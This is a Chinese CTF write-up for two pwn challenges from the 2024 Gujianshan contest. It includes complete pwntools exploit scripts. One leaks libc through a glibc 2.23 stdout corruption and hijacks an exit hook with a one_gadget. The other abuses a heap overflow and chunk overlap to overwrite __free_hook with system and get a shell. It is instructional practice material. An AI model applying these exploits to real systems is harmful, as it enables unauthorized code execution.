2024古剑山 pwn 详解
FrEdoM 发表于 山东 CTF 221浏览 · 2024-11-30 05:52

2024古剑山 pwn 详解

in

解题思路

sla(b"Size:\n",str(0x5e6611))
sla(b"Size:\n",str(0x220000))

首先申请size超过0x400000的chunk,然后记录size4,然后申请一个超过topchunk的堆块,2.23下申请超过topchunk的堆块会开辟一段空间


然后这两个索引配合,就可以找到stdout结构体

然后直接申请把_flag改成0xfbad1887,后面的也改一下_IO_write_base就可以了
sa(b"Data:",b"\x18")
s(b"\x40")


泄露libc后,还有个任意地址写,打exit_hook
p &_rtld_global

ogs = [0x45226,0x4527a,0xf03a4,0xf1247]
og = libc_base + ogs[3]
exit_hook = libc_base + 0x5f0040+3848

log.success("og = " + hex(og))
sa(b"Now getshell!\n",p64(exit_hook))
s(p64(og)[:3])

改成og即可getshell

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn2')
elf = ELF('./pwn2')
libc = ELF("./libc.so.6")

def duan():
    gdb.attach(p)
    pause()

def add(size,content):
    p.sendlineafter(b"Size:\n",str(size))
    p.sendlineafter(b"Data:\n",content)

sla(b"Size:\n",str(0x5e6611))
sla(b"Size:\n",str(0x220000))
sa(b"Data:",b"\x18")
s(b"\x40")

libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))- libc.sym["_IO_2_1_stdout_"] -32
leak("libc_base = ",libc_base)

ogs = [0x45226,0x4527a,0xf03a4,0xf1247]
og = libc_base + ogs[3]
exit_hook = libc_base + 0x5f0040+3848

log.success("og = " + hex(og))
sa(b"Now getshell!\n",p64(exit_hook))
s(p64(og)[:3])
itr()

mis

解题思路

没有uaf

然后add是根据输入的字符串数量来分配chunk空间的,然后size可以设置,所以有堆溢出
直接利用溢出修改size,然后free,重新申请即可泄露libc

add(0,0xff,'a'*0xd0)
add(1,0xff,'a'*0xd0)
add(2,0xff,'a'*0xd0)
add(3,0xff,'a'*0xd0)
add(4,0xff,'a'*0xd0)
add(5,0xff,'a'*0xd0)
add(6,0xff,'a'*0xd0)

edit(0,'a'*0xd8+p64(0x461))
delete(1)
add(1,0xff,'a'*0xe0)
show(1)
r(0xf0)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
leak('libc_base ',libc_base)


然后利用chunk重叠,去写free_hook

add(7,0xff,'a'*0xe0)
add(8,0xff,'a'*0xe0)

delete(1)
delete(7)
free_hook = libc_base + libc.sym['__free_hook']

edit(2,'b'*0x8+p64(0xf1)+p64(free_hook))


之后写binsh即可

add(9,0xff,'a'*0xe0)
add(10,0xff,'a'*0xe0)
ogs=[0x4f365,0x4f3c2,0x10a45c]
og=ogs[0]+libc_base
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
edit(10,p64(system))
edit(0,'/bin/sh\x00\x00')
leak("system ",system)
leak('libc_base ',libc_base)
delete(0)

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def duan():
    gdb.attach(p)
    pause()

def choice(cho):
    sla('4.show\n',cho)

def add(idx,size,content):
    choice(add_idx)
    sla('Input index: ',idx)
    sla('Input size: ',size)
    sa('Input note: ',content)

def delete(idx):
    choice(delete_idx)
    sla('Input index: ',idx)

def show(idx):
    choice(show_idx)
    sla('Input index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('Input index: ',idx)
    sa('Input note: ',content)

add(0,0xff,'a'*0xd0)
add(1,0xff,'a'*0xd0)
add(2,0xff,'a'*0xd0)
add(3,0xff,'a'*0xd0)
add(4,0xff,'a'*0xd0)
add(5,0xff,'a'*0xd0)
add(6,0xff,'a'*0xd0)

edit(0,'a'*0xd8+p64(0x461))
delete(1)

add(1,0xff,'a'*0xe0)
show(1)
r(0xf0)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
leak('libc_base ',libc_base)

leak('libc_base ',libc_base)
add(7,0xff,'a'*0xe0)
add(8,0xff,'a'*0xe0)

delete(1)
delete(7)
free_hook = libc_base + libc.sym['__free_hook']

edit(2,'b'*0x8+p64(0xf1)+p64(free_hook))

add(9,0xff,'a'*0xe0)
add(10,0xff,'a'*0xe0)
ogs=[0x4f365,0x4f3c2,0x10a45c]
og=ogs[0]+libc_base
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
edit(10,p64(system))
edit(0,'/bin/sh\x00\x00')
leak("system ",system)
leak('libc_base ',libc_base)
delete(0)

itr()
附件:
0 条评论
某人
表情
可输入 255